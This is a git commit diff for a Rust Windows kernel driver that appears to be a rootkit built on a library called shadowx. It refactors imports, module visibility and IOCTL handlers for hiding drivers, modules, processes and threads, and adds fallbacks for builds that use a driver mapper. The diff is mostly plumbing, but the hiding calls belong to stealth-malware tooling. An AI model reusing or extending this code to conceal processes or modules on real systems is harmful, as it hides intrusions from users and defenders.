fix: Fixing error when using feature mapper

This commit is contained in:
joaoviictorti
2024-11-09 21:40:54 -03:00
parent a0bebfaa6b
commit 68dd3a3506
7 changed files with 31 additions and 41 deletions

View File

@@ -9,10 +9,10 @@ use {
utils::uni,
log::{error, info},
kernel_log::KernelLogger,
shadowx::error::ShadowError,
shadowx::error::ShadowError,
core::sync::atomic::Ordering,
crate::utils::ioctls::IoctlManager,
wdk_sys::{*, ntddk::*, _MODE::KernelMode},
core::{ptr::null_mut, sync::atomic::Ordering},
};
#[cfg(not(feature = "mapper"))]
@@ -71,6 +71,7 @@ pub unsafe extern "system" fn driver_entry(
return status;
}
#[cfg(not(feature = "mapper"))]
shadow_entry(driver, registry_path)
}
@@ -299,9 +300,9 @@ pub unsafe fn register_callbacks(driver_object: &mut DRIVER_OBJECT) -> NTSTATUS
Some(registry_callback),
&mut altitude,
driver_object as *mut DRIVER_OBJECT as *mut core::ffi::c_void,
null_mut(),
core::ptr::null_mut(),
core::ptr::addr_of_mut!(CALLBACK_REGISTRY),
null_mut(),
core::ptr::null_mut(),
);
if !NT_SUCCESS(status) {

View File

@@ -17,7 +17,6 @@ use {
ioctls::IoctlManager
},
common::{
vars::MAX_DRIVER,
structs::{DriverInfo, TargetDriver},
ioctls::{
ENUMERATE_DRIVER,
@@ -26,6 +25,8 @@ use {
},
};
const MAX_DRIVER: usize = 100;
/// Static structure to store hidden driver information.
///
/// This structure keeps track of the drivers that have been hidden, including their

View File

@@ -1,20 +1,20 @@
#[cfg(not(feature = "mapper"))]
pub mod registry;
mod registry;
#[cfg(not(feature = "mapper"))]
pub use registry::*;
pub mod misc;
pub mod module;
pub mod port;
pub mod injection;
pub mod callback;
pub mod driver;
pub mod process;
pub mod thread;
mod misc;
mod port;
mod module;
mod injection;
mod callback;
mod driver;
mod process;
mod thread;
pub use misc::*;
pub use module::*;
pub use port::*;
pub use module::*;
pub use injection::*;
pub use callback::*;
pub use driver::*;

View File

@@ -8,8 +8,9 @@ use {
use {
crate::utils::{
get_input_buffer,
get_output_buffer,
ioctls::IoctlManager,
get_input_buffer, get_output_buffer
},
common::{
ioctls::{ENUMERATE_MODULE, HIDE_MODULE},
@@ -68,12 +69,12 @@ pub fn register_module_ioctls(ioctls: &mut IoctlManager) {
unsafe {
// Get the target module information from the input buffer.
let target = get_input_buffer::<TargetModule>(stack)?;
// Hide the module based on the PID and module name.
let status = shadowx::Module::hide_module((*target).pid, &(*target).module_name)?;
let status = shadowx::Module::hide_module((*target).pid, &(*target).module_name.to_lowercase())?;
// Update IoStatus to indicate success.
(*irp).IoStatus.Information = size_of::<ModuleInfo>() as u64;
(*irp).IoStatus.Information = size_of::<TargetModule>() as u64;
Ok(status)
}
}));

View File

@@ -1,10 +1,7 @@
use {
wdk_sys::*,
alloc::{boxed::Box, string::ToString},
core::sync::atomic::{AtomicPtr, Ordering},
alloc::{
boxed::Box,
string::ToString
},
shadowx::{
Process, error::ShadowError,
PROCESS_INFO_HIDE,
@@ -140,6 +137,8 @@ pub fn register_process_ioctls(ioctls: &mut IoctlManager) {
Options::Hide => Process::enumerate_hide_processes(),
#[cfg(not(feature = "mapper"))]
Options::Protection => shadowx::ProcessCallback::enumerate_protection_processes(),
#[cfg(feature = "mapper")]
_ => alloc::vec::Vec::new(),
};
// Fill the output buffer with the enumerated processes' information.

View File

@@ -2,11 +2,7 @@ use {
alloc::boxed::Box,
core::sync::atomic::{AtomicPtr, Ordering},
wdk_sys::{IO_STACK_LOCATION, IRP, STATUS_SUCCESS},
shadowx::{
Thread,
THREAD_INFO_HIDE,
error::ShadowError,
},
shadowx::{Thread, THREAD_INFO_HIDE, error::ShadowError},
};
use {
@@ -85,6 +81,8 @@ pub fn register_thread_ioctls(ioctls: &mut IoctlManager) {
Options::Hide => Thread::enumerate_hide_threads(),
#[cfg(not(feature = "mapper"))]
Options::Protection => shadowx::ThreadCallback::enumerate_protection_thread(),
#[cfg(feature = "mapper")]
_ => alloc::vec::Vec::new(),
};
// Fill the output buffer with the enumerated threads' information.

View File

@@ -1,18 +1,8 @@
use {
crate::modules::*,
alloc::boxed::Box,
hashbrown::HashMap,
shadowx::error::ShadowError,
wdk_sys::{IO_STACK_LOCATION, IRP, NTSTATUS},
crate::modules::{
register_thread_ioctls,
register_process_ioctls,
register_callback_ioctls,
register_driver_ioctls,
register_injection_ioctls,
register_misc_ioctls,
register_module_ioctls,
register_port_ioctls,
},
};
/// Type alias for an IOCTL handler function.
@@ -32,7 +22,7 @@ use {
pub type IoctlHandler = Box<dyn Fn(*mut IRP, *mut IO_STACK_LOCATION) -> Result<NTSTATUS, ShadowError> + Send + Sync>;
pub struct IoctlManager {
handlers: HashMap<u32, IoctlHandler>,
handlers: hashbrown::HashMap<u32, IoctlHandler>,
}
impl IoctlManager {
@@ -71,7 +61,7 @@ impl Default for IoctlManager {
/// Creates a new IoctlManager with an empty handler map.
fn default() -> Self {
Self {
handlers: HashMap::new(),
handlers: hashbrown::HashMap::new(),
}
}
}